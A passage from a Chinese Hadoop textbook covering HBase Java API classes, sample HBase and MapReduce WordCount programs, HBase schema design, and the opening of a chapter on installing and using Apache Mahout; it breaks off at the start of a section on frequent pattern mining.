config=HBaseConfiguration.create（）；\n此方法使用默认的HBase资源来创建Configuration。程序默认会从classpath中查找hbase-site.xml的位置从而初始化Configuration。\n2.HBaseAdmin\n关系：org.apache.hadoop.hbase.client.HBaseAdmin\n作用：提供了一个接口来管理HBase数据库的表信息。它提供的方法包括创建表、删除表、列出表项、使表有效或无效，以及添加或删除表列族成员等。\n包含的主要方法如表12-7所示。\n用法示例：\nHbaseAdmin admin=new HbaseAdmin（config）；\nadmin.disableTable（\"tablename\"）；\n上述例子通过一个HBaseAdmin实例admin调用disableTable方法来使表处于无效状态。\n3.HTableDescriptor\n关系：org.apache.hadoop.hbase.HTableDescriptor\n作用：HtableDescriptor类包含了表的名字及其对应表的列族。\n包含的主要方法如表12-8所示。\n用法示例：\nHtableDescriptor htd=new HtableDescriptor（tablename）；\nhtd.addFamily（new HcolumnDescriptor（\"Family\"））；\n在上述例子中，通过一个HColumnDescriptor实例，为HTableDescriptor添加了一个列族：Family。\n4.HColumnDescriptor\n关系：org.apache.hadoop.hbase.HColumnDescriptor\n作用：HColumnDescriptor维护着关于列族的信息，例如版本号、压缩设置等。它通常在创建表或为表添加列族的时候使用。列族被创建后不能直接修改，只能通过删除然后重建的方式来“修改”。并且，当列族被删除的时候，对应列族中所保存的数据也将被同时删除。\n包含的主要方法如表12-9所示。\n用法示例：\nHtableDescriptor htd=new HtableDescriptor（tablename）；\nHcolumnDescriptor col=new HcolumnDescriptor（\"content\"）；\nhtd.addFamily（col）；\n此示例添加了一个名为content的列族。\n5.HTable\n关系：org.apache.hadoop.hbase.client.HTable\n作用：此表可以用来与HBase表进行通信。这个方法对于更新操作来说是非线程安全的，也就是说，如果有过多的线程尝试与单个HTable实例进行通信，那么写缓冲器可能会崩溃。这时，建议使用HTablePool类进行操作。\n该类所包含的主要方法如表12-10所示。\n用法示例：\nHtable table=new Htable（conf, Bytes.toBytes（tablename））；\nResultScanner scanner=table.getScanner（Bytes.toBytes（“cf”））；\n上述函数将获取表内所有列族为“cf”的记录。\n6.Put\n关系：org.apache.hadoop.hbase.client.Put\n作用：用来对单个行执行添加操作。\n包含的主要方法如表12-11所示。\n用法示例：\nHTable table=new HTable（conf, Bytes.toBytes（tablename））；\nPut p=new Put（row）；//为指定行（row）创建一个Put操作\np.add（family, qualifier, value）；\ntable.put（p）；\n上述函数将向表“tablename”添加“family, qualifier, value”指定的值。\n7.Get\n关系：org.apache.hadoop.hbase.client.Get\n作用：用来获取单个行的相关信息。\n包含的主要方法如表12-12所示。\n用法示例：\nHtable table=new Htable（conf, Bytes.toBytes（tablename））；\nGet g=new Get（Bytes.toBytes（row））；\nResult result=table.get（g）；\n上述函数将获取“tablename”表中“row”行对应的记录。\n8.Result\n关系：org.apache.hadoop.hbase.client.Result\n作用：存储Get或Scan操作后获取的表的单行值。使用此类提供的方法能够直接方便地获取值或获取各种Map结构（＜key, value＞对）。\n包含的主要方法如表12-13所示。\n用法示例：\nHTable table=new HTable（conf, Bytes.toBytes（tablename））；\nGet g=new Get（Bytes.toBytes（row））；\nResult rowResult=table.get（g）；\nBytes[]value=rowResult.getValue（（family+\"：\"+column））；\n9.ResultScanner\n关系：Interface\n作用：客户端获取值的接口。\n包含的主要方法如表12-14所示。\n用法示例：\nResultScanner scanner=table.getScanner（Bytes.toBytes（family））；\nfor（Result rowResult：scanner）{\nBytes[]str=rowResult.getValue（family, column）；\n}\n如果大家想要对HBase的原理、运行机制以及编程有更深入的了解，建议阅读HBase的源码。通过对HBase源码的深入探究，相信大家一定能够对HBase有更深层次的理解。\n[1]\n org.apache.hadoop.hbase.client.Get类。\n[2]\n org.apache.hadoop.hbase.client.Put类。\n12.9 HBase编程\n本节我们将介绍如何使用IDE对HBase进行编程，并介绍如何使用HBase编写MapReduce程序。首先，我们介绍如何配置Eclipse，并用其开发HBase应用程序。\n 12.9.1 使用Eclipse开发HBase应用程序\n当第三方访问HBase的时候，首选需要访问ZooKeeper，因为HBase的重要信息保存在ZooKeeper当中。我们知道，ZooKeeper集群的信息由$HBASE_HOME/conf/hbase-site.xml文件指定。因此需要通过classpath来指定HBase配置文件的位置，即$HBASE_HOME/conf/的位置。\n使用HBase客户端进行编程的时候，hbase、hadoop、log4j、commons-logging、commons-lang、ZooKeeper等JAR包对于程序来说是必需的。除此之外，commons-configuration、slf4j等JAR包也经常被用到。下面列出对于HBase-0.92.1版本来说所需的JAR包：\nhbase-0.92.1.jar\nhbase-0.92.1-test.jar\nhadoop-1.0.1.jar\nzookeeper-3.4.3.jar\nlog4j-1.2.16.jar\ncommons-logging-1.1.1.jar\ncommons-lang-2.5.jar\n此外程序可能包含一些间接引用，可以通过错误提示进行相应修改。\n下面我们通过一个实例来演示具体的配置。\n（1）添加JAR包\n添加JAR包有两种方法，比较简单的是，在HBase工程上，右击Propertie在弹出的快捷菜单中选择Java Build Path对话框，在该对话框中单击Libraries选项卡，在该选项卡下单击Add External JARs按钮，定位到$HBASE/lib目录下，并选取上述JAR包，如图12-14所示。\n上述操作可以通过在工程根目录（即与src文件夹平行目录）下创建lib文件夹，并添加相关JAR包来代替。\n（2）添加hbase-site.xml配置文件\n在工程根目录下创建Conf文件夹，将$HBASE_HOME/conf/目录中的hbase-site.xml文件复制到该文件夹中。通过右键选择Propertie-＞Java Build Path-＞Libraries-＞Add Class Folder，然后勾选Conf文件夹进行添加，如图12-15所示。\n接下来便可以与普通Java程序一般调用HBase API编写程序了。还可以通过运行HBase Shell与程序操作进行交互。\n图 12-14 添加相关JAR包\n图 12-15 添加HBase配置文件\n如果不设置hbase-site.xml配置文件的位置，程序将自动读取HBase-0.92.1.jar文件中默认的配置文件，这样可能与自己的预期有一定的差距。大家还可以通过程序来进行HBase的配置，例如若要设置ZooKeeper集群的位置，可在HBase的Configuration中做如下配置：\nConfiguration config=HBaseConfiguration.create（）；\nconfig.set（\"hbase.zookeeper.quorum\"，\"master, slave1，slave2\"）；\n上述代码设置HBase所运行的ZooKeeper集群的位置为master、slave1和slave2。\n12.9.2 HBase编程\n在12.8节中，我们已经对常用的HBase API进行了简单的介绍。下面我们给出一个简单的例子，希望大家通过学习这个例子能对HBase的使用方法及特点有一个更深入的认识。示例代码如代码清单12-2所示。\n代码清单12-2 HBase Java API简单用例\n1 package cn.edn.ruc.clodcomputing.book.chapter12；\n2\n3 import java.io.IOException；\n4\n5 import org.apache.hadoop.conf.Configuration；\n6 import org.apache.hadoop.hbase.HBaseConfiguration；\n7 import org.apache.hadoop.hbase.HColumnDescriptor；\n8 import org.apache.hadoop.hbase.HTableDescriptor；\n9 import org.apache.hadoop.hbase.client.Get；\n10 import org.apache.hadoop.hbase.client.HBaseAdmin；\n11 import org.apache.hadoop.hbase.client.HTable；\n12 import org.apache.hadoop.hbase.client.Put；\n13 import org.apache.hadoop.hbase.client.Result；\n14 import org.apache.hadoop.hbase.client.ResultScanner；\n15 import org.apache.hadoop.hbase.client.Scan；\n16 import org.apache.hadoop.hbase.util.Bytes；\n17\n18\n19 public class HBaseTestCase{\n20//声明静态配置HBaseConfiguration\n21 static Configuration cfg=HBaseConfiguration.create（）；\n22\n23//创建一张表，通过HBaseAdmin HTableDescriptor来创建\n24 public static void creat（String tablename, String columnFamily）throws\nException{\n25 HBaseAdmin admin=new HBaseAdmin（cfg）；\n26 if（admin.tableExists（tablename））{\n27 System.out.println（\"table Exists！\"）；\n28 System.exit（0）；\n29}\n30 else{\n31 HTableDescriptor tableDesc=new HTableDescriptor（tablename）；\n32 tableDesc.addFamily（new HColumnDescriptor（columnFamily））；\n33 admin.createTable（tableDesc）；\n34 System.out.println（\"create table success！\"）；\n35}\n36}\n37\n38//添加一条数据，通过HTable Put为已经存在的表来添加数据\n39 public static void put（String tablename, String row, String columnFamily，\nString column, String data）throws Exception{\n40 HTable table=new HTable（cfg, tablename）；\n41 Put p1=new Put（Bytes.toBytes（row））；\n42 p1.add（Bytes.toBytes（columnFamily），Bytes.toBytes（column），\nBytes.toBytes（data））；\n43 table.put（p1）；\n44 System.out.println（\"put'\"+row+\"'，'\"+columnFamily+\"：\"+column+\"'，\n'\"+data+\"'\"）；\n45}\n46\n47 public static void get（String tablename, String row）throws IOException{\n48 HTable table=new HTable（cfg, tablename）；\n49 Get g=new Get（Bytes.toBytes（row））；\n50 Result result=table.get（g）；\n51 System.out.println（\"Get：\"+result）；\n52}\n53//显示所有数据，通过HTable Scan来获取已有表的信息\n54 public static void scan（String tablename）throws Exception{\n55 HTable table=new HTable（cfg, tablename）；\n56 Scan s=new Scan（）；\n57 ResultScanner rs=table.getScanner（s）；\n58 for（Result r：rs）{\n59 System.out.println（\"Scan：\"+r）；\n60}\n61}\n62\n63 public static boolean delete（String tablename）throws IOException{\n64\n65 HBaseAdmin admin=new HBaseAdmin（cfg）；\n66 if（admin.tableExists（tablename））{\n67 try\n68{\n69 admin.disableTable（tablename）；\n70 admin.deleteTable（tablename）；\n71}catch（Exception ex）{\n72 ex.printStackTrace（）；\n73 return false；\n74}\n75\n76}\n77 return true；\n78}\n79\n80 public static void main（String[]agrs）{\n81 String tablename=\"hbase_tb\"；\n82 String columnFamily=\"cf\"；\n83\n84 try{\n85 HBaseTestCase.creat（tablename, columnFamily）；\n86 HBaseTestCase.put（tablename，\"row1\"，columnFamily，\"cl1\"，\"data\"）；\n87 HBaseTestCase.get（tablename，\"row1\"）；\n88 HBaseTestCase.scan（tablename）；\n89 if（true==HBaseTestCase.delete（tablename））\n90 System.out.println（\"Delete table：\"+tablename+\"success！\"）；\n91\n92}\n93 catch（Exception e）{\n94 e.printStackTrace（）；\n95}\n96}\n97}\n在该类中，实现了类似HBase Shell的表创建（creat（String tablename, String columnFamily））操作，以及Put、Get、Scan和delete操作。\n在代码清单12-2中，首先，通过第21行加载HBase的默认配置cfg；然后，通过HbaseAdmin接口来管理现有数据库，见第25行；第26～36行通过HTableDescriptor（指定表相关信息）和HColumnDescriptor（指定表内列族相关信息）来创建一个HBase数据库，并设置其拥有的列族成员；put函数通过HTable和Put类为该表添加值，见第38～44行；get函数通过HTable和Get读取刚刚添加的值，见第47～52行；Scan函数通过HTable和Scan类读取表中的所有记录，见第54～61行；delete函数，通过HBaseAdmin首先将表置为无效（第69行），然后将其删除（第70行）。\n该程序在Eclipse中的运行结果如下所示：\n……\ncreate table success！\nput'row1'，'cf：cl1'，'data'\nGet：keyvalues={row1/cf：cl1/1336632861769/Put/vlen=4}\nScan：keyvalues={row1/cf：cl1/1336632861769/Put/vlen=4}\n……\n12/05/09 23：54：21 INFO client.HBaseAdmin：Started disable of hbase_tb\n12/05/09 23：54：23 INFO client.HBaseAdmin：Disabled hbase_tb\n12/05/09 23：54：24 INFO client.HBaseAdmin：Deleted hbase_tb\nDelete table：hbase_tb success！\n12.9.3 HBase与MapReduce\n从图12-1中可以看出，在伪分布模式和完全分布模式下HBase是架构在HDFS之上的。因此完全可以将MapReduce编程框架和HBase结合起来使用。也就是说，将HBase作为底层“存储结构”，MapReduce调用HBase进行特殊的处理，这样能够充分结合HBase分布式大型数据库和MapReduce并行计算的优点。\n下面我们给出了一个WordCount将MapReduce与HBase结合起来使用的例子，如代码清单12-3所示。在这个例子中，输入文件为user/hadoop/input/file01（它包含内容hello world bye world）和文件user/hadoop/input/file02（它包含内容hello hadoop bye hadoop）。\n程序首先从文件中收集数据，在shuffle完成之后进行统计并计算，最后将计算结果存储到HBase中。\n代码清单12-3 HBase与WordCount的结合使用\n1 package cn.edn.ruc.cloudcomputing.book.chapter12；\n2\n3 import java.io.IOException；\n4\n5 import org.apache.hadoop.conf.Configuration；\n6 import org.apache.hadoop.fs.Path；\n7 import org.apache.hadoop.hbase.HBaseConfiguration；\n8 import org.apache.hadoop.hbase.HColumnDescriptor；\n9 import org.apache.hadoop.hbase.HTableDescriptor；\n10 import org.apache.hadoop.hbase.client.HBaseAdmin；\n11 import org.apache.hadoop.hbase.client.Put；\n12 import org.apache.hadoop.hbase.mapreduce.TableOutputFormat；\n13 import org.apache.hadoop.hbase.mapreduce.TableReducer；\n14 import org.apache.hadoop.hbase.util.Bytes；\n15 import org.apache.hadoop.io.IntWritable；\n16 import org.apache.hadoop.io.LongWritable；\n17 import org.apache.hadoop.io.NullWritable；\n18 import org.apache.hadoop.io.Text；\n19 import org.apache.hadoop.mapreduce.Job；\n20 import org.apache.hadoop.mapreduce.Mapper；\n21 import org.apache.hadoop.mapreduce.lib.input.FileInputFormat；\n22 import org.apache.hadoop.mapreduce.lib.input.TextInputFormat；\n23\n24 public class WordCountHBase\n25{\n26 public static class Map extends Mapper＜LongWritable, Text, Text, IntWritable＞{\n27 private IntWritable i=new IntWritable（1）；\n28 public void map（LongWritable key, Text value, Context context）throws\nIOException, InterruptedException{\n29 String s[]=value.toString（）.trim（）.split（\"\"）；//将输入的每\n行输入以空格分开\n30 for（String m：s）{\n31 context.write（new Text（m），i）；\n32}\n33}\n34}\n35\n36 public static class Reduce extends TableReducer＜Text, IntWritable，\nNullWritable＞{\n37 public void reduce（Text key, Iterable＜IntWritable＞values, Context\ncontext）throws IOException, InterruptedException{\n38 int sum=0；\n39 for（IntWritable i：values）{\n40 sum+=i.get（）；\n41}\n42 Put put=new Put（Bytes.toBytes（key.toString（）））；//Put实例\n化，每一个词存一行\n43 put.add（Bytes.toBytes（\"content\"），Bytes.toBytes（\"count\"），Bytes.\ntoBytes（String.valueOf（sum）））；//列族为content，列修饰符为count，列\n值为数目\n44 context.write（NullWritable.get（），put）；\n45}\n46}\n47\n48 public static void createHBaseTable（String tablename）throws IOException{\n49 HTableDescriptor htd=new HTableDescriptor（tablename）；\n50 HColumnDescriptor col=new HColumnDescriptor（\"content：\"）；\n51 htd.addFamily（col）；\n52 HBaseConfiguration config=new HBaseConfiguration（）；\n53 HBaseAdmin admin=new HBaseAdmin（config）；\n54 if（admin.tableExists（tablename））{\n55 System.out.println（\"table exists, trying recreate table！\"）；\n56 admin.disableTable（tablename）；\n57 admin.deleteTable（tablename）；\n58}\n59 System.out.println（\"create new table：\"+tablename）；\n60 admin.createTable（htd）；\n61}\n62\n63 public static void main（String args[]）throws Exception{\n64 String tablename=\"wordcount\"；\n65 Configuration conf=new Configuration（）；\n66 conf.set（TableOutputFormat.OUTPUT_TABLE, tablename）；\n67 createHBaseTable（tablename）；\n68 String input=args[0]；//设置输入值\n69 Job job=new Job（conf，\"WordCount table with\"+input）；\n70 job.setJarByClass（WordCountHBase.class）；\n71 job.setNumReduceTasks（3）；\n72 job.setMapperClass（Map.class）；\n73 job.setReducerClass（Reduce.class）；\n74 job.setMapOutputKeyClass（Text.class）；\n75 job.setMapOutputValueClass（IntWritable.class）；\n76 job.setInputFormatClass（TextInputFormat.class）；\n77 job.setOutputFormatClass（TableOutputFormat.class）；\n78 FileInputFormat.addInputPath（job, new Path（input））；\n79 System.exit（job.waitForCompletion（true）?0：1）；\n80}\n81}\n在上述程序中，第26～34行代码负责设置Map作业；第36～46行代码负责设置Reduce作业；第48～61行代码为createHBaseTable函数，负责在HBase中创建存储WordCount输出结果的表。在Reduce作业中，第42～44行代码负责将结果存储到HBase表中。\n程序运行成功后，现在通过HBase Shell检查输出结果，如图12-16所示。\n图 12-16 HBase WordCount的运行结果\n从输出结果中可以看出，bye、hadoop、hello、world四个单词均出现了两次。\n关于HBase与MapReduce实际应用的更多详细信息请参阅http：//wiki.apache.org/hadoop/Hbase/MapReduce。\n12.10 模式设计\n通过HBase与RDBMS的比较，可以了解到二者无论是在物理视图、逻辑视图还是具体操作上都存在很大的区别。例如，HBase中没有Join的概念。但是，大表的结构可以使其不需要Join操作就能解决Join操作所解决的问题。比如，在一条行记录加上一个特定的行关键字，便可以实现把所有关于Join的数据合并在一起。另外，Row Key的设计也非常关键。以天气数据存储为例。假如将监测站的值作为Row Key的前缀，那么天气数据将以监测站聚簇存放。同时将倒序的时间作为监测站的后缀，那么同一监测站的数据将从新到旧进行排列。这样的特定存储功能可以满足用户特殊的需要。\n一般来说HBase的使用是为了解决或优化某一问题，恰当的模式设计可以使其具有HBase本身所不具有的功能，并且使其执行效率得到成百上千倍的提高。\n 12.10.1 模式设计应遵循的原则\n在进行HBase数据库模式设计的时候，不当的设置可能对系统的性能产生不良的影响。当数据量比较小的时候，表现可能并不明显，但随着数据量的增加这些微小的差别将有可能对系统的性能产生很大的影响。有下面几点需要特别注意。\n1.列族的数量及列族的势\n我们建议将HBase列族的数量设置得越少越好。当前，对于两个或两个以上的列族HBase并不能处理得很好。这是由于HBase的Flushing（冲洗，即将内存中的数据写入磁盘）和压缩是基于Region的。当一个列族所存储的数据达到Flushing的阈值时，该表中的所有列族将同时进行Flshing操作。这将带来不必要的I/O开销，列族越多，该特性带来的影响越大。对于压缩也是同样的道理。\n此外，还要考虑到同一个表中不同列族所存储的记录数量的差别，即列族的势（Cardinality）。当两个列族数量差别过大时将会使包含记录数量较少列族的数据分散在多个Region之上，而Region有可能存储在不同的Regionserver之上。这样，当进行查询或scan操作的时候，系统的效率会受到一定的影响。该影响的大小要视具体的情况而定。\n2.行键（Row Key）的设计\n首先，应该避免使用时序或单调（递增/递减）行键。因为当数据到来的时候，HBase首先需要根据记录的行键来确定存储的位置，即Region的位置。如果使用时序或单调行键，那么连续到来的数据将会被分配到同一个Region当中，而此时系统中的其他Region/Regionserver将处于空闲状态，这是分布式系统最不希望看到的情况。如果必须存储这种类型的数据，例如时序值，那么该怎么办呢？在OpenTSB中，行键的设计如下所示：\n[metric_type][event_timestamp]\n上述方法将时序（event_timestamp）作为行键的第二个“字段”，并为行键添加一个前缀。但是，具体选择什么样的规则来创建行键也需要视情况而定，没有万能的规则。\n3.尽量最小化行键和列族的大小\n在HBase中，一个具体的值由存储该值的行键、对应的列（列族：列）以及该值的时间戳决定。HBase中的索引是为了加速随机访问的速度。该索引的创建是基于“行键+列族：列+时间戳+值”的，如果行键和列族的大小过大，甚至超过值本身的大小，那么将会增加索引的大小。并且，在HBase中数据记录往往非常之多，重复的行键、列将不但使得索引的大小过大，也将加重系统存储的负担。\n4.版本的数量\nHBase在进行数据存储的时候，新的数据并不会直接覆盖旧的数据，而是进行追加操作，不同的数据通过时间戳进行区分。默认情况下，每行数据存储三个版本，该值可以通过HColumnDescriptor进行设置，建议不要将其设置得过大。\n下面我们通过两个例子，让读者对HBase的模式设计有一个初步的认识。\n12.10.2 学生表\n这里我们以学习数据库过程中常用的一个学生表为例来讲解模式设计。众所周知，在关系型数据库（RDBMS）中学生表的表结构如表12-15～表12-17所示。\n那么在HBase中，数据存储的模式将如表12-18和表12-19所示。\n从上面的5个表中可以看出，在RDBMS中可以完成的操作，在HBase中不但可以完成，还可以有更好的执行效率。在HBase中Row Key是索引，因此在HBase中对数据进行查询，能够比RDBMS有更大的速度优势。\n12.10.3 事件表\n首先我们给出时间表在RDBMS中的表结构，如表12-20所示。\n上述事件表存储了所有用户所发生的事件信息，包括事件名称和事件发生的时间。HBase一般针对某一特殊的应用存储数据，因此我们需要首先确定用户的需求。假如用户的需求描述如下：查询某一用户最近发生的10个事件。那么，RDBMS的SQL查询语句如下：\nSELECT A_Id, A_UserId, A_Name, A_Time From Action WHERE A_UserId=***ORDER BY A_Time DESC LIMIT 10\n在HBase中为了加快数据的查询速度，现在需要将数据以用户聚簇的方式存放，并且按照事件发生的时间倒序排列。那么在HBase中将有下面的存储模式，如表12-21所示。\n从上表中可以看出，数据已经按照要求聚簇存放，查询速度必然要优于RDBMS。\n12.11 本章小结\n本章向大家介绍了HBase，包括HBase的特点、基本操作、体系结构、数据模型、它与其他相关产品的关系，以及如何使用HBase编程、设计表等内容。\n通过本章，大家可以了解到，HBase是一个开源的、分布式的、多版本的、面向列的存储模型。它与传统的关系型数据库有着本质的不同，并且在某些场合中，HBase拥有其他数据库所不具有的优势。它为大型数据的存储和某些特殊应用提供了很好的解决方案。\n另外，HBase具有三种运行模式。其中，伪分布模式和完全分布模式需要以HDFS作为其文件存储系统。因此HBase可以有效地与MapReduce结合起来使用，充分发挥二者的优势。本章为大家介绍了如何配置IDE进行HBase编程，同时给出了几个简单的编程实例，除此之外，还为大家简单比较了HBase的模式与传统RDBMS模式设计的异同之处。\n希望通过对本章的学习，能够让大家对HBase有一个全面、综合的了解。限于篇幅，未能深入地讲解HBase相关的知识，更多的内容，大家可以到HBase官方网站查阅，网址为：http：//hbase.apache.org/。另外，我们还希望读者能够阅读HBase的源码，这样会对HBase的深层机制有更深入的理解。\n第13章 Mahout详解\n本章内容\nMahout简介\nMahout的安装和配置\nMahout API简介\nMahout中的频繁模式挖掘\nMahout中的聚类和分类\nMahout应用：建立一个推荐引擎\n本章小结\n13.1 Mahout简介\nApache Mahout起源于2008年，当时它是Apache Lucene的子项目。使用Apache Hadoop库，可以将其功能有效地扩展到Apache Hadoop云平台中。Apache Lucene是一个著名的开源搜索引擎，它实现了先进的信息检索、文本挖掘功能。在计算机科学领域中，这些概念与机器学习技术相近。正是由于这种原因，一些Apache Lucene的开发者最终转入开发机器学习算法中来。进而，这些机器学习算法形成了最初的Apache Mahout。不久以后，Apache Mahout吸收了一个名为Taste的开源协同过滤算法的项目，经过两年的发展，2010年4月Apache Mahout最终成为了Apache的顶级项目。\nApache Mahout的主要目标是建立可伸缩的机器学习算法。这种可伸缩性是针对大规模的数据集而言的。Apache Mahout的算法运行在Apache Hadoop平台下，它通过MapReduce模式实现。但是，Apache Mahout并不严格要求算法的实现要基于Hadoop平台，单个节点或非Hadoop平台也可以。Apache Mahout核心库的非分布式算法也具有良好的性能。\nApache Mahout是Apache Software Foundation（ASF）旗下的一个开源项目，提供了一些经典的机器学习算法，旨在帮助开发人员更加方便快捷地创建智能应用程序。该项目已经发展到了它的第三个年头，有了三个公共发行版本。Apache Mahout项目包含聚类、分类、推荐引擎、频繁子项挖掘。Apache Mahout虽已经实现了很多技术和算法，但是仍然还有一些算法正在开发和测试阶段。目前Apache Mahout项目主要包括以下五个部分。\n频繁模式挖掘：挖掘数据中频繁出现的项集。\n聚类：将诸如文本、文档之类的数据分成局部相关的组。\n分类：利用已经存在的分类文档训练分类器，对未分类的文档进行分类。\n推荐引擎（协同过滤）：获得用户的行为并从中发现用户可能喜欢的事物。\n频繁子项挖掘：利用一个项集（查询记录或购物目录）去识别经常一起出现的项目。\n13.2 Mahout的安装和配置\nMahout是一个开源软件，因此它有两种安装方式：一种是下载已经编译好的二进制文件进行安装（快速安装）；一种是先下载源代码，然后再对源代码进行编译，最后再安装（编译安装）。下面我们分别对其进行介绍。\n1.快速安装\n下面为该方式的具体安装步骤：\n（1）下载Mahout\n从下面链接中下载编译好的二进制文件：\nhttp：//mirror.bjtu.edu.cn/apache/mahout/\n选择最新的版本目录，即0.6，下载mahout-distribution-0.6.tar.gz。\n（2）解压下载的文件\n使用下面的命令将下载的二进制文件解压到指定的文件夹中。\ntar-zxvf mahout-distribution-0.6.tar.gz-C$HADOOP_HOME/\n参数-C的后面是指定的文件夹，这里是$HADOOP_HOME/。\n（3）配置环境变量\n由于Mahout不仅可以在本地模式下运行，还可以利用Hadoop的MapReduce运行作业。若要使用Hadoop则必须正确安装Hadoop，并配置HADOOP_HOME和HADOOP_CONF_DIR环境变量，具体参见本书第2章“Hadoop的安装与配置”。\n使用下面的命令配置Mahout所需要的Hadoop环境变量：\nexport HADOOP_HOME=/home/hadoop/hadoop-1.0.1\nexport HADOOP_CONF_DIR=/home/hadoop/hadoop-1.0.1/conf\n此外，为了Mahout操作方便，可以将Mahout安装位置加入到环境变量中，如下所示：\n#Config Mahout\nexport MAHOUT_HOME=/home/hadoop/hadoop-1.0.1/mahout-distribution-0.6\nexport MAHOUT_CONF_DIR=$MAHOUT_HOME/conf\nexport PATH=$MAHOUT_HOME/conf：$MAHOUT_HOME/bin：$PATH\n2.编译安装\n首先需要确保系统中已经安装了JDK 1.6以上版本及Maven 2.0以上版本。JDK的安装前面章节已经详细介绍，这里不再赘述。大家可以使用下面命令来安装Maven：\nsudo apt-get install maven2\n安装完成后，可以对maven的参数进行配置，设置其使用的Java堆空间：\nsudo gedit$MAVEN_HOME/bin/mvn\n在mvn文件中找到exec\"$JAVACMD\"\\，在它之后加上-Xmx256m\\即可，如下所示：\nexec\"$JAVACMD\"\\\n-Xmx256m\\\n$MAVEN_OPTS\\\n-classpath\"${M2_HOME}\"/boot/classworlds.jar\\\n\"-Dclassworlds.conf=${M2_HOME}/bin/m2.conf\"\\\n\"-Dmaven.home=${M2_HOME}\"\\\n${CLASSWORLDS_LAUNCHER}$QUOTED_ARGS\n其中参数-Xmx256m指定的是Java的空间大小，读者可以根据具体情况进行设置。下面为具体的操作步骤：\n（1）下载最新源码\n通过Mahout的svn库来下载当前Mahout的最新版本，Mahout将被下载到当前目录中：\nsvn co http：//svn.apache.org/repos/asf/mahout/trunk\n（2）执行安装\n进入Mahout的根目录，输入命令安装：\ncd trunk\nmvn install\n看到如下结果，则表明安装成功。\n[INFO]----------------------------------------------------------------------\n[INFO]Reactor Summary：\n[INFO]----------------------------------------------------------------------\n[INFO]Apache Mahout……SUCCESS[8.871s]\n[INFO]Mahout Build Tools……SUCCESS[2.696s]\n[INFO]Mahout Math……SUCCESS[39.651s]\n[INFO]Mahout Core……SUCCESS[54：46.562s]\n[INFO]Mahout Integration……SUCCESS[3：47.980s]\n[INFO]Mahout Examples……SUCCESS[27.877s]\n[INFO]Mahout Release Package……SUCCESS[0.152s]\n[INFO]----------------------------------------------------------------------\n[INFO]----------------------------------------------------------------------\n[INFO]BUILD SUCCESSFUL\n[INFO]----------------------------------------------------------------------\n[INFO]Total time：59 minutes 55 seconds\n[INFO]Finished at：Tue Jun 05 00：07：53 PDT 2012\n[INFO]Final Memory：67M/142M\n[INFO]----------------------------------------------------------------------\n该命令将会自动编译core和example目录并将其打包。从上面可以看到Mahout的安装花费时间较长，这主要是由于执行testing部分的操作，使用下面命令可以略过此测试部分：\nmvn-DskipTests install\n注意 采用svn下载的Mahout最新源码有诸多好处，例如可以在$MAHOUT_HOME/examples/src目录下查看Mahout许多算法实现的源码。另外，此版本中还保留了很多Mahout测试使用的数据，例如$MAHOUT_HOME/core/src/test/resources/目录下FPGrowth算法使用的零售商数据。\n（3）配置环境变量\n环境变量的配置与快速安装相同，这里不再赘述。\n3.验证是否安装成功\n我们可以使用如下命令来检查Mahout是否安装成功：\nbin/mahout-help\n如果安装成功，系统会自动列出Mahout已经实现的所有命令，如图13-1所示。\n至此Mahout安装完毕。\nMahout自带了一些示例程序，执行下面的Hadoop命令，可以运行Canopy算法示例：\nbin/hadoop jar$MAHOUT_HOME/mahout-examples-0.6.job org.apache.mahout.clustering.\nsyntheticcontrol.canopy.Job\n图 13-1 Mahout实现命令图\n转到Mahout安装目录下，运行以下命令可以将结果直接显示在控制台上：\nbin/mahout vectordump--seqFile/user/hadoop/output/data/part-00000\n13.3 Mahout API简介\n当前Mahout最新版本的API为Mahout Core 0.7-SNAPSHOT API\n[1]\n ，它主要可以分为以下几部分：8\n基于协同过滤的Taste相关的API，包名以org.apache.mahout.cf.taste开始；\n聚类算法相关的API，包名以org.apache.mahout.clustering开始；\n分类算法，包名以org.apache.mahout.classifier开始；\n频繁模式算法，包名以org.apache.mahout.fpm开始；\n数学计算相关算法，包名以org.apache.mahout.math开始；\n向量计算相关算法，包名以org.apache.mahout.vectorizer开始。\n在新的版本中，Mahout已经实现了数据挖掘中较常见算法，包括：频繁模式挖掘、聚类、分类以及推荐引擎，另外，还实现了数据挖掘中常用的预处理算法。\nApache Mahout已经实现的聚类算法有：Canopy聚类算法、K-Means聚类算法、模糊K-Means聚类算法、Mean Shift聚类算法、Dirichlet过程聚类算法和Latent Dirichlet Allocation聚类算法。这些算法相关的API都可以在org.apache.mahout.clustering包中找到。\n下面以K-Means算法为例进行介绍。K-Means算法的API在org.apache.mahout.clustering.kmeans包中，一共包含1个接口和3个类\n[2]\n 。它们分别是KMeansConfigKeys、KCluster、KMeansDriver和RandomSeedGenerator。\n1.KMeansConfigKeys接口\n接口KMeansConfigKeys一共有三个参数：DISTANCE_MEASURE_KEY、CLUSTER_CONVERGENCE_KEY、CLUSTER_PATH_KEY，每个参数的具体意义如表13-1所示。\n2.KCluster类\n该类通常被主函数调用，通过给定的新聚类中心和距离函数来计算新的聚类，并判断聚类是否收敛。如表13-2所示为类KCluster的主要函数列表：\n3.KMeansDriver类\n该类为执行聚类操作的入口函数，包括buildClusters、clusterData、run及main等函数，如表13-3所示为类KMeansDriver的主要函数列表：\n对于详细的类介绍，请大家自行查阅Mahout API文档。\n[1]\n https：//builds.apache.org/hudson/job/Mahout-Quality/javadoc。\n[2]\n 在Mahout Core 0.3 API中，该包一共包含1个接口和8个类，在0.7版本中，对其进行了简化。\n13.4 Mahout中的频繁模式挖掘\n 13.4.1 什么是频繁模式挖掘\n提到关联规则人们头脑中首先闪过的便是“尿布与啤酒的故事”。首先我们先来介绍一下什么是“尿布与啤酒的故事”。该故事是美国沃尔玛超市的真实案例。沃尔玛超市为了了解顾客在超市的消费习惯，从而对消费者的购物数据进行分析。他们将消费者的一次购物消费假设成为一个购物篮，通过对购物篮的分析他们发现，尿布与啤酒竟然经常同时出现。该现象看似非常奇怪，然而它却揭示了美国人背后的消费习惯：很多男子经常要帮妻子为婴儿购买尿布，而同时，他们中的大多数又会顺便购买自己喜爱的啤酒。\n在上述例子中，尿布与啤酒的经常性一同出现便可以认为是一组频繁模式。频繁模式挖掘是数据挖掘研究中的一个重要课题，它是关联规则、相关性分析、序列模式、因果关系等许多重要数据挖掘任务的基础。因此，频繁模式挖掘有着广泛的应用，例如购物篮数据分析、交叉购物、DNA序列分析、预测分析等。\n比较经典的频繁模式挖掘包括Apriori算法、FPGrowth算法、AGM算法、PrefixSpan算法等。\n13.4.2 